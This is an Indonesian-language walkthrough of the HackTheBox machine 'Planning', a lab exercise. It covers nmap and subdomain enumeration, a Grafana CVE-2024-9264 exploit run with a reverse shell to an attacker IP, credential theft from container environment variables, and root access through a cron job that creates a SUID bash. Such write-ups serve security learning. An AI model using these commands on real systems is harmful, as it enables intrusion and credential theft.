Planning – HackTheBox Writeup

Halo semuanya! Pada kali ini saya akan membagikan writeup untuk mesin Planning dari HackTheBox. Mari kita mulai dengan proses enumerasi dan exploitation.

Reconnaissance dan Scanning

Seperti biasa, langkah pertama yang harus dilakukan adalah melakukan scanning dengan nmap pada target IP:

nmap -sCV -A -T5 10.10.11.68

Hasil Nmap Scan

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 08:18 EDT
Nmap scan report for 10.10.11.68
Host is up (0.021s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/

Dari hasil scan, ditemukan dua port terbuka:

  • Port 22: SSH (OpenSSH 9.6p1)
  • Port 80: HTTP (nginx 1.24.0)

Web Enumeration

Menambahkan Host ke /etc/hosts

Setelah menemukan redirect ke planning.htb, kita perlu menambahkan entry ke file hosts:

echo "10.10.11.68 planning.htb" >> /etc/hosts

Subdomain Enumeration

Selanjutnya, kita melakukan enumerasi subdomain menggunakan ffuf:

ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://planning.htb" -H "Host:FUZZ.planning.htb" -fs 178

Hasil Ffuf

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 22ms]

Ditemukan subdomain grafana! Mari tambahkan ke file hosts:

echo "10.10.11.68 grafana.planning.htb" >> /etc/hosts

Exploitation – CVE-2024-9264

Setelah mengakses http://grafana.planning.htb, ditemukan bahwa Grafana menggunakan versi 11. Setelah melakukan research, ditemukan CVE-2024-9264 yang memungkinkan Remote Code Execution.

Menggunakan Exploit

Repository exploit: https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit.git

Langkah-langkah exploitation:

  1. Setup listener untuk reverse shell: nc -lnvp 1337
  2. Jalankan exploit: python poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.23 --reverse-port 1337

Initial Access – Docker Container

Setelah exploit berhasil, kita mendapatkan shell dalam Docker container. Mari kita explore environment:

# ls -al
total 64
drwxr-xr-x  1 root    root  4096 Mar  1 18:01 .
drwxr-xr-x  1 root    root  4096 May 14  2024 ..
drwxrwxrwx  2 grafana root  4096 May 14  2024 .aws
drwxr-xr-x  3 root    root  4096 Mar  1 18:01 .duckdb
-rw-r--r--  1 root    root 34523 May 14  2024 LICENSE
drwxr-xr-x  2 root    root  4096 May 14  2024 bin
drwxr-xr-x  3 root    root  4096 May 14  2024 conf
drwxr-xr-x 16 root    root  4096 May 14  2024 public

Menemukan Kredential

Dengan memeriksa environment variables:

# env

Ditemukan informasi berharga:

  • GF_SECURITY_ADMIN_USER=enzo
  • GF_SECURITY_ADMIN_PASSWORD=RioTecRA………

User Access

Menggunakan kredential yang ditemukan untuk SSH:

ssh enzo@planning.htb

User Flag

enzo@planning:~$ cat user.txt 
13e506355aeee2...........

Privilege Escalation

Analisis Crontab

Eksplore sistem untuk mencari jalur privilege escalation. Ditemukan file crontab yang menarik:

enzo@planning:/opt/crontabs$ cat crontab.db

Konten crontab mengandung:

  1. Job backup Grafana dengan password zip
  2. Job cleanup yang berjalan setiap menit

Port Enumeration

enzo@planning:/opt/crontabs$ netstat -tupln

Ditemukan port 8000 yang berjalan di localhost, kemungkinan besar adalah web interface untuk manajemen cron jobs.

Port Forwarding

Untuk mengakses port 8000, kita dapat menggunakan SSH port forwarding:

ssh -L 8000:127.0.0.1:8000 enzo@planning.htb

Akses ke Cron Web Interface

Setelah port forwarding, akses http://localhost:8000 di browser dan login menggunakan password yang ditemukan dari crontab.

SUID Exploitation

Melalui web interface cron, kita dapat menambahkan job baru untuk membuat SUID binary:

  1. Tambah new cron job
  2. Command: cp /bin/bash /tmp/bash && chmod +s /tmp/bash
  3. Schedule: * * * * * (setiap menit)

Root Access

Setelah menunggu sebentar, SUID binary berhasil dibuat:

enzo@planning:/tmp$ ls -la bash
-rwsr-sr-x 1 root root 1396520 Mar  1 18:30 bash

enzo@planning:/tmp$ ./bash -p
bash-5.2# whoami
root

Root Flag

bash-5.2# cat /root/root.txt 
1839bdfccca5229.........

Kesimpulan

Mesin Planning memberikan pembelajaran berharga tentang:

  1. Subdomain enumeration untuk menemukan services tersembunyi
  2. CVE exploitation pada Grafana
  3. Container escape dan credential hunting
  4. Cron job abuse untuk privilege escalation
  5. Web-based cron management sebagai attack vector

Happy Hacking! 🔐

Leave a Reply

Your email address will not be published. Required fields are marked *